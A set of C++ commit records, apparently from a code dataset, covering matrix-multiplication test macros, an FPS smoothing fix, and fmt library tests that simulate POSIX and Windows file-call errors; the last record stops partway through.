ETL_BLAS_MODE\nMMUL_FUNCTOR( blas_mmul_float, etl::impl::blas::sgemm(a, b, c) )\nMMUL_FUNCTOR( blas_mmul_double, etl::impl::blas::dgemm(a, b, c) )\n#define MMUL_TEST_CASE_SECTION_BLAS  MMUL_TEST_CASE_SECTIONS( blas_mmul_float, blas_mmul_double )\n#else\n#define MMUL_TEST_CASE_SECTION_BLAS\n#endif\n\n#define MMUL_TEST_CASE_DECL( name, description ) \\\n    template<typename T, typename Impl> \\\n    static void INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )(); \\\n    TEST_CASE( name, description )\n\n#define MMUL_TEST_CASE_SECTION( Tn, Impln) \\\n        SECTION( #Tn \"_\" #Impln ) \\\n        { \\\n            INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )<Tn, Impln>(); \\\n        }\n\n#define MMUL_TEST_CASE_DEFN \\\n    template<typename T, typename Impl> \\\n    static void INTERNAL_CATCH_UNIQUE_NAME( ____C_A_T_C_H____T_E_M_P_L_A_TE____T_E_S_T____ )()\n\n#define MMUL_TEST_CASE_SECTIONS( S1, S2 ) \\\n    MMUL_TEST_CASE_SECTION( float, S1 ) \\\n    MMUL_TEST_CASE_SECTION( double, S2 )\n\n#define MMUL_TEST_CASE( name, description ) \\\n    MMUL_TEST_CASE_DECL( name, description ) \\\n    { \\\n        MMUL_TEST_CASE_SECTION_DEFAULT \\\n        MMUL_TEST_CASE_SECTION_STD \\\n        MMUL_TEST_CASE_SECTION_LAZY \\\n        MMUL_TEST_CASE_SECTION_STRASSEN \\\n        MMUL_TEST_CASE_SECTION_BLAS \\\n        MMUL_TEST_CASE_SECTION_EBLAS \\\n    } \\\n    MMUL_TEST_CASE_DEFN\n<|endoftext|>"}
{"text":"<commit_before>#include \"bvs\/bvsinfo.h\"\n\n\n\nstd::string BVS::Info::getFPS() const\n{\n\tstatic double avgFPS = 15;\n\n\t\/\/ apply exponential smoothing with alpha = 0.2\n\tdouble duration = lastRoundDuration.count();\n\tduration = duration > 1000 ? 1000 : duration;\n\tavgFPS = (1000\/duration + 4 * avgFPS)\/5;\n\n\tstd::string fps = std::to_string(avgFPS);\n\tif (fps.length()>6) fps.resize(fps.length()-5);\n\n\treturn fps;\n}\n\n<commit_msg>info: add infinity check for fps calculation<commit_after>#include \"bvs\/bvsinfo.h\"\n\n#include<limits>\n\n\nstd::string BVS::Info::getFPS() const\n{\n\tstatic double avgFPS = 15;\n\tif (avgFPS==std::numeric_limits<double>::infinity()) avgFPS = 15;\n\n\t\/\/ apply exponential smoothing with alpha = 0.2\n\tdouble duration = lastRoundDuration.count();\n\tduration = duration > 1000 ? 1000 : duration;\n\tavgFPS = (1000\/duration + 4 * avgFPS)\/5;\n\n\tstd::string fps = std::to_string(avgFPS);\n\tif (fps.length()>6) fps.resize(fps.length()-5);\n\n\treturn fps;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n Test wrappers around POSIX functions.\n\n Copyright (c) 2012-2014, Victor Zverovich\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n    list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/ Disable bogus MSVC warnings.\n#define _CRT_SECURE_NO_WARNINGS\n\n#include \"posix-test.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <climits>\n\n#ifdef _WIN32\n# include <io.h>\n# undef max\n# undef ERROR\n#endif\n\n#include \"gtest-extra.h\"\n\nusing fmt::BufferedFile;\nusing fmt::ErrorCode;\nusing fmt::File;\n\nnamespace {\nint open_count;\nint close_count;\nint dup_count;\nint dup2_count;\nint fdopen_count;\nint read_count;\nint write_count;\nint pipe_count;\nint fopen_count;\nint fclose_count;\nint fileno_count;\nstd::size_t read_nbyte;\nstd::size_t write_nbyte;\nbool sysconf_error;\n\nenum FStatSimulation { NONE, MAX_SIZE, ERROR } fstat_sim;\n}\n\n#define EMULATE_EINTR(func, error_result) \\\n  if (func##_count != 0) { \\\n    if (func##_count++ != 3) { \\\n      errno = EINTR; \\\n      return error_result; \\\n    } \\\n  }\n\n#ifndef _WIN32\nint test::open(const char *path, int oflag, int mode) {\n  EMULATE_EINTR(open, -1);\n  return ::open(path, oflag, mode);\n}\n\nstatic off_t max_file_size() { return std::numeric_limits<off_t>::max(); }\n\nint test::fstat(int fd, struct stat *buf) {\n  int result = ::fstat(fd, buf);\n  if (fstat_sim == MAX_SIZE)\n    buf->st_size = max_file_size();\n  return result;\n}\n\nlong test::sysconf(int name) {\n  long result = ::sysconf(name);\n  if (!sysconf_error)\n    return result;\n  \/\/ Simulate an error.\n  errno = EINVAL;\n  return -1;\n}\n#else\nerrno_t test::sopen_s(\n    int* pfh, const char *filename, int oflag, int shflag, int pmode) {\n  EMULATE_EINTR(open, EINTR);\n  return _sopen_s(pfh, filename, oflag, shflag, pmode);\n}\n\nstatic LONGLONG max_file_size() { return std::numeric_limits<LONGLONG>::max(); }\n\nDWORD test::GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) {\n  if (fstat_sim == ERROR) {\n    SetLastError(ERROR_ACCESS_DENIED);\n    return FALSE;\n  }\n  if (fstat_sim == MAX_SIZE) {\n    DWORD max = std::numeric_limits<DWORD>::max();\n    *lpFileSizeHigh = max >> 1;\n    return max;\n  }\n  return ::GetFileSize(hFile, lpFileSizeHigh);\n}\n#endif\n\nint test::close(int fildes) {\n  \/\/ Close the file first because close shouldn't be retried.\n  int result = ::FMT_POSIX(close(fildes));\n  EMULATE_EINTR(close, -1);\n  return result;\n}\n\nint test::dup(int fildes) {\n  EMULATE_EINTR(dup, -1);\n  return ::FMT_POSIX(dup(fildes));\n}\n\nint test::dup2(int fildes, int fildes2) {\n  EMULATE_EINTR(dup2, -1);\n  return ::FMT_POSIX(dup2(fildes, fildes2));\n}\n\nFILE *test::fdopen(int fildes, const char *mode) {\n  EMULATE_EINTR(fdopen, 0);\n  return ::FMT_POSIX(fdopen(fildes, mode));\n}\n\ntest::ssize_t test::read(int fildes, void *buf, test::size_t nbyte) {\n  read_nbyte = nbyte;\n  EMULATE_EINTR(read, -1);\n  return ::FMT_POSIX(read(fildes, buf, nbyte));\n}\n\ntest::ssize_t test::write(int fildes, const void *buf, test::size_t nbyte) {\n  write_nbyte = nbyte;\n  EMULATE_EINTR(write, -1);\n  return ::FMT_POSIX(write(fildes, buf, nbyte));\n}\n\n#ifndef _WIN32\nint test::pipe(int fildes[2]) {\n  EMULATE_EINTR(pipe, -1);\n  return ::pipe(fildes);\n}\n#else\nint test::pipe(int *pfds, unsigned psize, int textmode) {\n  EMULATE_EINTR(pipe, -1);\n  return _pipe(pfds, psize, textmode);\n}\n#endif\n\nFILE *test::fopen(const char *filename, const char *mode) {\n  EMULATE_EINTR(fopen, 0);\n  return ::fopen(filename, mode);\n}\n\nint test::fclose(FILE *stream) {\n  EMULATE_EINTR(fclose, EOF);\n  return ::fclose(stream);\n}\n\nint test::fileno(FILE *stream) {\n  EMULATE_EINTR(fileno, -1);\n  return ::FMT_POSIX(fileno(stream));\n}\n\n#ifndef _WIN32\n# define EXPECT_RETRY(statement, func, message) \\\n    func##_count = 1; \\\n    statement; \\\n    EXPECT_EQ(4, func##_count); \\\n    func##_count = 0;\n# define EXPECT_EQ_POSIX(expected, actual) EXPECT_EQ(expected, actual)\n#else\n# define EXPECT_RETRY(statement, func, message) \\\n    func##_count = 1; \\\n    EXPECT_SYSTEM_ERROR(statement, EINTR, message); \\\n    func##_count = 0;\n# define EXPECT_EQ_POSIX(expected, actual)\n#endif\n\nvoid write_file(fmt::StringRef filename, fmt::StringRef content) {\n  fmt::BufferedFile f(filename, \"w\");\n  f.print(\"{}\", content);\n}\n\nTEST(UtilTest, StaticAssert) {\n  FMT_STATIC_ASSERT(true, \"success\");\n  \/\/ Static assertion failure is tested in compile-test because it causes\n  \/\/ a compile-time error.\n}\n\nTEST(UtilTest, GetPageSize) {\n#ifdef _WIN32\n  SYSTEM_INFO si = {};\n  GetSystemInfo(&si);\n  EXPECT_EQ(si.dwPageSize, fmt::getpagesize());\n#else\n  EXPECT_EQ(sysconf(_SC_PAGESIZE), fmt::getpagesize());\n  sysconf_error = true;\n  EXPECT_SYSTEM_ERROR(\n      fmt::getpagesize(), EINVAL, \"cannot get memory page size\");\n  sysconf_error = false;\n#endif\n}\n\nTEST(FileTest, OpenRetry) {\n  write_file(\"test\", \"there must be something here\");\n  File *f = 0;\n  EXPECT_RETRY(f = new File(\"test\", File::RDONLY),\n               open, \"cannot open file test\");\n#ifndef _WIN32\n  char c = 0;\n  f->read(&c, 1);\n#endif\n  delete f;\n}\n\nTEST(FileTest, CloseNoRetryInDtor) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  File *f = new File(std::move(read_end));\n  int saved_close_count = 0;\n  EXPECT_WRITE(stderr, {\n    close_count = 1;\n    delete f;\n    saved_close_count = close_count;\n    close_count = 0;\n  }, format_system_error(EINTR, \"cannot close file\") + \"\\n\");\n  EXPECT_EQ(2, saved_close_count);\n}\n\nTEST(FileTest, CloseNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  close_count = 1;\n  EXPECT_SYSTEM_ERROR(read_end.close(), EINTR, \"cannot close file\");\n  EXPECT_EQ(2, close_count);\n  close_count = 0;\n}\n\nTEST(FileTest, Size) {\n  std::string content = \"top secret, destroy before reading\";\n  write_file(\"test\", content);\n  File f(\"test\", File::RDONLY);\n  EXPECT_GE(f.size(), 0);\n  fmt::ULongLong file_size = f.size();\n  EXPECT_EQ(content.size(), file_size);\n#ifdef _WIN32\n  fmt::MemoryWriter message;\n  fmt::internal::format_windows_error(\n      message, ERROR_ACCESS_DENIED, \"cannot get file size\");\n  fstat_sim = ERROR;\n  EXPECT_THROW_MSG(f.size(), fmt::WindowsError, message.str());\n  fstat_sim = NONE;\n#else\n  f.close();\n  EXPECT_SYSTEM_ERROR(f.size(), EBADF, \"cannot get file attributes\");\n#endif\n}\n\nTEST(FileTest, MaxSize) {\n  write_file(\"test\", \"\");\n  File f(\"test\", File::RDONLY);\n  fstat_sim = MAX_SIZE;\n  EXPECT_GE(f.size(), 0);\n  EXPECT_EQ(max_file_size(), f.size());\n  fstat_sim = NONE;\n}\n\nTEST(FileTest, ReadRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  enum { SIZE = 4 };\n  write_end.write(\"test\", SIZE);\n  write_end.close();\n  char buffer[SIZE];\n  std::streamsize count = 0;\n  EXPECT_RETRY(count = read_end.read(buffer, SIZE),\n      read, \"cannot read from file\");\n  EXPECT_EQ_POSIX(static_cast<std::streamsize>(SIZE), count);\n}\n\nTEST(FileTest, WriteRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  enum { SIZE = 4 };\n  std::streamsize count = 0;\n  EXPECT_RETRY(count = write_end.write(\"test\", SIZE),\n      write, \"cannot write to file\");\n  write_end.close();\n#ifndef _WIN32\n  EXPECT_EQ(static_cast<std::streamsize>(SIZE), count);\n  char buffer[SIZE + 1];\n  read_end.read(buffer, SIZE);\n  buffer[SIZE] = '\\0';\n  EXPECT_STREQ(\"test\", buffer);\n#endif\n}\n\n#ifdef _WIN32\nTEST(FileTest, ConvertReadCount) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  char c;\n  std::size_t size = UINT_MAX;\n  if (sizeof(unsigned) != sizeof(std::size_t))\n    ++size;\n  read_count = 1;\n  read_nbyte = 0;\n  EXPECT_THROW(read_end.read(&c, size), fmt::SystemError);\n  read_count = 0;\n  EXPECT_EQ(UINT_MAX, read_nbyte);\n}\n\nTEST(FileTest, ConvertWriteCount) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  char c;\n  std::size_t size = UINT_MAX;\n  if (sizeof(unsigned) != sizeof(std::size_t))\n    ++size;\n  write_count = 1;\n  write_nbyte = 0;\n  EXPECT_THROW(write_end.write(&c, size), fmt::SystemError);\n  write_count = 0;\n  EXPECT_EQ(UINT_MAX, write_nbyte);\n}\n#endif\n\nTEST(FileTest, DupNoRetry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  dup_count = 1;\n  EXPECT_SYSTEM_ERROR(File::dup(stdout_fd), EINTR,\n      fmt::format(\"cannot duplicate file descriptor {}\", stdout_fd));\n  dup_count = 0;\n}\n\nTEST(FileTest, Dup2Retry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  File f1 = File::dup(stdout_fd), f2 = File::dup(stdout_fd);\n  EXPECT_RETRY(f1.dup2(f2.descriptor()), dup2,\n      fmt::format(\"cannot duplicate file descriptor {} to {}\",\n      f1.descriptor(), f2.descriptor()));\n}\n\nTEST(FileTest, Dup2NoExceptRetry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  File f1 = File::dup(stdout_fd), f2 = File::dup(stdout_fd);\n  ErrorCode ec;\n  dup2_count = 1;\n  f1.dup2(f2.descriptor(), ec);\n#ifndef _WIN32\n  EXPECT_EQ(4, dup2_count);\n#else\n  EXPECT_EQ(EINTR, ec.get());\n#endif\n  dup2_count = 0;\n}\n\nTEST(FileTest, PipeNoRetry) {\n  File read_end, write_end;\n  pipe_count = 1;\n  EXPECT_SYSTEM_ERROR(\n      File::pipe(read_end, write_end), EINTR, \"cannot create pipe\");\n  pipe_count = 0;\n}\n\nTEST(FileTest, FdopenNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  fdopen_count = 1;\n  EXPECT_SYSTEM_ERROR(read_end.fdopen(\"r\"),\n      EINTR, \"cannot associate stream with file descriptor\");\n  fdopen_count = 0;\n}\n\nTEST(BufferedFileTest, OpenRetry) {\n  write_file(\"test\", \"there must be something here\");\n  BufferedFile *f = 0;\n  EXPECT_RETRY(f = new BufferedFile(\"test\", \"r\"),\n               fopen, \"cannot open file test\");\n#ifndef _WIN32\n  char c = 0;\n  if (fread(&c, 1, 1, f->get()) < 1)\n    throw fmt::SystemError(errno, \"fread failed\");\n#endif\n  delete f;\n}\n\nTEST(BufferedFileTest, CloseNoRetryInDtor) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile *f = new BufferedFile(read_end.fdopen(\"r\"));\n  int saved_fclose_count = 0;\n  EXPECT_WRITE(stderr, {\n    fclose_count = 1;\n    delete f;\n    saved_fclose_count = fclose_count;\n    fclose_count = 0;\n  }, format_system_error(EINTR, \"cannot close file\") + \"\\n\");\n  EXPECT_EQ(2, saved_fclose_count);\n}\n\nTEST(BufferedFileTest, CloseNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile f = read_end.fdopen(\"r\");\n  fclose_count = 1;\n  EXPECT_SYSTEM_ERROR(f.close(), EINTR, \"cannot close file\");\n  EXPECT_EQ(2, fclose_count);\n  fclose_count = 0;\n}\n\nTEST(BufferedFileTest, FilenoNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile f = read_end.fdopen(\"r\");\n  fileno_count = 1;\n  EXPECT_SYSTEM_ERROR(f.fileno(), EINTR, \"cannot get file descriptor\");\n  EXPECT_EQ(2, fileno_count);\n  fileno_count = 0;\n}\n<commit_msg>Fix test<commit_after>\/*\n Test wrappers around POSIX functions.\n\n Copyright (c) 2012-2014, Victor Zverovich\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n    list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/\/ Disable bogus MSVC warnings.\n#define _CRT_SECURE_NO_WARNINGS\n\n#include \"posix-test.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n#include <climits>\n\n#ifdef _WIN32\n# include <io.h>\n# undef max\n# undef ERROR\n#endif\n\n#include \"gtest-extra.h\"\n\nusing fmt::BufferedFile;\nusing fmt::ErrorCode;\nusing fmt::File;\n\nnamespace {\nint open_count;\nint close_count;\nint dup_count;\nint dup2_count;\nint fdopen_count;\nint read_count;\nint write_count;\nint pipe_count;\nint fopen_count;\nint fclose_count;\nint fileno_count;\nstd::size_t read_nbyte;\nstd::size_t write_nbyte;\nbool sysconf_error;\n\nenum FStatSimulation { NONE, MAX_SIZE, ERROR } fstat_sim;\n}\n\n#define EMULATE_EINTR(func, error_result) \\\n  if (func##_count != 0) { \\\n    if (func##_count++ != 3) { \\\n      errno = EINTR; \\\n      return error_result; \\\n    } \\\n  }\n\n#ifndef _WIN32\nint test::open(const char *path, int oflag, int mode) {\n  EMULATE_EINTR(open, -1);\n  return ::open(path, oflag, mode);\n}\n\nstatic off_t max_file_size() { return std::numeric_limits<off_t>::max(); }\n\nint test::fstat(int fd, struct stat *buf) {\n  int result = ::fstat(fd, buf);\n  if (fstat_sim == MAX_SIZE)\n    buf->st_size = max_file_size();\n  return result;\n}\n\nlong test::sysconf(int name) {\n  long result = ::sysconf(name);\n  if (!sysconf_error)\n    return result;\n  \/\/ Simulate an error.\n  errno = EINVAL;\n  return -1;\n}\n#else\nerrno_t test::sopen_s(\n    int* pfh, const char *filename, int oflag, int shflag, int pmode) {\n  EMULATE_EINTR(open, EINTR);\n  return _sopen_s(pfh, filename, oflag, shflag, pmode);\n}\n\nstatic LONGLONG max_file_size() { return std::numeric_limits<LONGLONG>::max(); }\n\nDWORD test::GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) {\n  if (fstat_sim == ERROR) {\n    SetLastError(ERROR_ACCESS_DENIED);\n    return INVALID_FILE_SIZE;\n  }\n  if (fstat_sim == MAX_SIZE) {\n    DWORD max = std::numeric_limits<DWORD>::max();\n    *lpFileSizeHigh = max >> 1;\n    return max;\n  }\n  return ::GetFileSize(hFile, lpFileSizeHigh);\n}\n#endif\n\nint test::close(int fildes) {\n  \/\/ Close the file first because close shouldn't be retried.\n  int result = ::FMT_POSIX(close(fildes));\n  EMULATE_EINTR(close, -1);\n  return result;\n}\n\nint test::dup(int fildes) {\n  EMULATE_EINTR(dup, -1);\n  return ::FMT_POSIX(dup(fildes));\n}\n\nint test::dup2(int fildes, int fildes2) {\n  EMULATE_EINTR(dup2, -1);\n  return ::FMT_POSIX(dup2(fildes, fildes2));\n}\n\nFILE *test::fdopen(int fildes, const char *mode) {\n  EMULATE_EINTR(fdopen, 0);\n  return ::FMT_POSIX(fdopen(fildes, mode));\n}\n\ntest::ssize_t test::read(int fildes, void *buf, test::size_t nbyte) {\n  read_nbyte = nbyte;\n  EMULATE_EINTR(read, -1);\n  return ::FMT_POSIX(read(fildes, buf, nbyte));\n}\n\ntest::ssize_t test::write(int fildes, const void *buf, test::size_t nbyte) {\n  write_nbyte = nbyte;\n  EMULATE_EINTR(write, -1);\n  return ::FMT_POSIX(write(fildes, buf, nbyte));\n}\n\n#ifndef _WIN32\nint test::pipe(int fildes[2]) {\n  EMULATE_EINTR(pipe, -1);\n  return ::pipe(fildes);\n}\n#else\nint test::pipe(int *pfds, unsigned psize, int textmode) {\n  EMULATE_EINTR(pipe, -1);\n  return _pipe(pfds, psize, textmode);\n}\n#endif\n\nFILE *test::fopen(const char *filename, const char *mode) {\n  EMULATE_EINTR(fopen, 0);\n  return ::fopen(filename, mode);\n}\n\nint test::fclose(FILE *stream) {\n  EMULATE_EINTR(fclose, EOF);\n  return ::fclose(stream);\n}\n\nint test::fileno(FILE *stream) {\n  EMULATE_EINTR(fileno, -1);\n  return ::FMT_POSIX(fileno(stream));\n}\n\n#ifndef _WIN32\n# define EXPECT_RETRY(statement, func, message) \\\n    func##_count = 1; \\\n    statement; \\\n    EXPECT_EQ(4, func##_count); \\\n    func##_count = 0;\n# define EXPECT_EQ_POSIX(expected, actual) EXPECT_EQ(expected, actual)\n#else\n# define EXPECT_RETRY(statement, func, message) \\\n    func##_count = 1; \\\n    EXPECT_SYSTEM_ERROR(statement, EINTR, message); \\\n    func##_count = 0;\n# define EXPECT_EQ_POSIX(expected, actual)\n#endif\n\nvoid write_file(fmt::StringRef filename, fmt::StringRef content) {\n  fmt::BufferedFile f(filename, \"w\");\n  f.print(\"{}\", content);\n}\n\nTEST(UtilTest, StaticAssert) {\n  FMT_STATIC_ASSERT(true, \"success\");\n  \/\/ Static assertion failure is tested in compile-test because it causes\n  \/\/ a compile-time error.\n}\n\nTEST(UtilTest, GetPageSize) {\n#ifdef _WIN32\n  SYSTEM_INFO si = {};\n  GetSystemInfo(&si);\n  EXPECT_EQ(si.dwPageSize, fmt::getpagesize());\n#else\n  EXPECT_EQ(sysconf(_SC_PAGESIZE), fmt::getpagesize());\n  sysconf_error = true;\n  EXPECT_SYSTEM_ERROR(\n      fmt::getpagesize(), EINVAL, \"cannot get memory page size\");\n  sysconf_error = false;\n#endif\n}\n\nTEST(FileTest, OpenRetry) {\n  write_file(\"test\", \"there must be something here\");\n  File *f = 0;\n  EXPECT_RETRY(f = new File(\"test\", File::RDONLY),\n               open, \"cannot open file test\");\n#ifndef _WIN32\n  char c = 0;\n  f->read(&c, 1);\n#endif\n  delete f;\n}\n\nTEST(FileTest, CloseNoRetryInDtor) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  File *f = new File(std::move(read_end));\n  int saved_close_count = 0;\n  EXPECT_WRITE(stderr, {\n    close_count = 1;\n    delete f;\n    saved_close_count = close_count;\n    close_count = 0;\n  }, format_system_error(EINTR, \"cannot close file\") + \"\\n\");\n  EXPECT_EQ(2, saved_close_count);\n}\n\nTEST(FileTest, CloseNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  close_count = 1;\n  EXPECT_SYSTEM_ERROR(read_end.close(), EINTR, \"cannot close file\");\n  EXPECT_EQ(2, close_count);\n  close_count = 0;\n}\n\nTEST(FileTest, Size) {\n  std::string content = \"top secret, destroy before reading\";\n  write_file(\"test\", content);\n  File f(\"test\", File::RDONLY);\n  EXPECT_GE(f.size(), 0);\n  fmt::ULongLong file_size = f.size();\n  EXPECT_EQ(content.size(), file_size);\n#ifdef _WIN32\n  fmt::MemoryWriter message;\n  fmt::internal::format_windows_error(\n      message, ERROR_ACCESS_DENIED, \"cannot get file size\");\n  fstat_sim = ERROR;\n  EXPECT_THROW_MSG(f.size(), fmt::WindowsError, message.str());\n  fstat_sim = NONE;\n#else\n  f.close();\n  EXPECT_SYSTEM_ERROR(f.size(), EBADF, \"cannot get file attributes\");\n#endif\n}\n\nTEST(FileTest, MaxSize) {\n  write_file(\"test\", \"\");\n  File f(\"test\", File::RDONLY);\n  fstat_sim = MAX_SIZE;\n  EXPECT_GE(f.size(), 0);\n  EXPECT_EQ(max_file_size(), f.size());\n  fstat_sim = NONE;\n}\n\nTEST(FileTest, ReadRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  enum { SIZE = 4 };\n  write_end.write(\"test\", SIZE);\n  write_end.close();\n  char buffer[SIZE];\n  std::streamsize count = 0;\n  EXPECT_RETRY(count = read_end.read(buffer, SIZE),\n      read, \"cannot read from file\");\n  EXPECT_EQ_POSIX(static_cast<std::streamsize>(SIZE), count);\n}\n\nTEST(FileTest, WriteRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  enum { SIZE = 4 };\n  std::streamsize count = 0;\n  EXPECT_RETRY(count = write_end.write(\"test\", SIZE),\n      write, \"cannot write to file\");\n  write_end.close();\n#ifndef _WIN32\n  EXPECT_EQ(static_cast<std::streamsize>(SIZE), count);\n  char buffer[SIZE + 1];\n  read_end.read(buffer, SIZE);\n  buffer[SIZE] = '\\0';\n  EXPECT_STREQ(\"test\", buffer);\n#endif\n}\n\n#ifdef _WIN32\nTEST(FileTest, ConvertReadCount) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  char c;\n  std::size_t size = UINT_MAX;\n  if (sizeof(unsigned) != sizeof(std::size_t))\n    ++size;\n  read_count = 1;\n  read_nbyte = 0;\n  EXPECT_THROW(read_end.read(&c, size), fmt::SystemError);\n  read_count = 0;\n  EXPECT_EQ(UINT_MAX, read_nbyte);\n}\n\nTEST(FileTest, ConvertWriteCount) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  char c;\n  std::size_t size = UINT_MAX;\n  if (sizeof(unsigned) != sizeof(std::size_t))\n    ++size;\n  write_count = 1;\n  write_nbyte = 0;\n  EXPECT_THROW(write_end.write(&c, size), fmt::SystemError);\n  write_count = 0;\n  EXPECT_EQ(UINT_MAX, write_nbyte);\n}\n#endif\n\nTEST(FileTest, DupNoRetry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  dup_count = 1;\n  EXPECT_SYSTEM_ERROR(File::dup(stdout_fd), EINTR,\n      fmt::format(\"cannot duplicate file descriptor {}\", stdout_fd));\n  dup_count = 0;\n}\n\nTEST(FileTest, Dup2Retry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  File f1 = File::dup(stdout_fd), f2 = File::dup(stdout_fd);\n  EXPECT_RETRY(f1.dup2(f2.descriptor()), dup2,\n      fmt::format(\"cannot duplicate file descriptor {} to {}\",\n      f1.descriptor(), f2.descriptor()));\n}\n\nTEST(FileTest, Dup2NoExceptRetry) {\n  int stdout_fd = FMT_POSIX(fileno(stdout));\n  File f1 = File::dup(stdout_fd), f2 = File::dup(stdout_fd);\n  ErrorCode ec;\n  dup2_count = 1;\n  f1.dup2(f2.descriptor(), ec);\n#ifndef _WIN32\n  EXPECT_EQ(4, dup2_count);\n#else\n  EXPECT_EQ(EINTR, ec.get());\n#endif\n  dup2_count = 0;\n}\n\nTEST(FileTest, PipeNoRetry) {\n  File read_end, write_end;\n  pipe_count = 1;\n  EXPECT_SYSTEM_ERROR(\n      File::pipe(read_end, write_end), EINTR, \"cannot create pipe\");\n  pipe_count = 0;\n}\n\nTEST(FileTest, FdopenNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  fdopen_count = 1;\n  EXPECT_SYSTEM_ERROR(read_end.fdopen(\"r\"),\n      EINTR, \"cannot associate stream with file descriptor\");\n  fdopen_count = 0;\n}\n\nTEST(BufferedFileTest, OpenRetry) {\n  write_file(\"test\", \"there must be something here\");\n  BufferedFile *f = 0;\n  EXPECT_RETRY(f = new BufferedFile(\"test\", \"r\"),\n               fopen, \"cannot open file test\");\n#ifndef _WIN32\n  char c = 0;\n  if (fread(&c, 1, 1, f->get()) < 1)\n    throw fmt::SystemError(errno, \"fread failed\");\n#endif\n  delete f;\n}\n\nTEST(BufferedFileTest, CloseNoRetryInDtor) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile *f = new BufferedFile(read_end.fdopen(\"r\"));\n  int saved_fclose_count = 0;\n  EXPECT_WRITE(stderr, {\n    fclose_count = 1;\n    delete f;\n    saved_fclose_count = fclose_count;\n    fclose_count = 0;\n  }, format_system_error(EINTR, \"cannot close file\") + \"\\n\");\n  EXPECT_EQ(2, saved_fclose_count);\n}\n\nTEST(BufferedFileTest, CloseNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile f = read_end.fdopen(\"r\");\n  fclose_count = 1;\n  EXPECT_SYSTEM_ERROR(f.close(), EINTR, \"cannot close file\");\n  EXPECT_EQ(2, fclose_count);\n  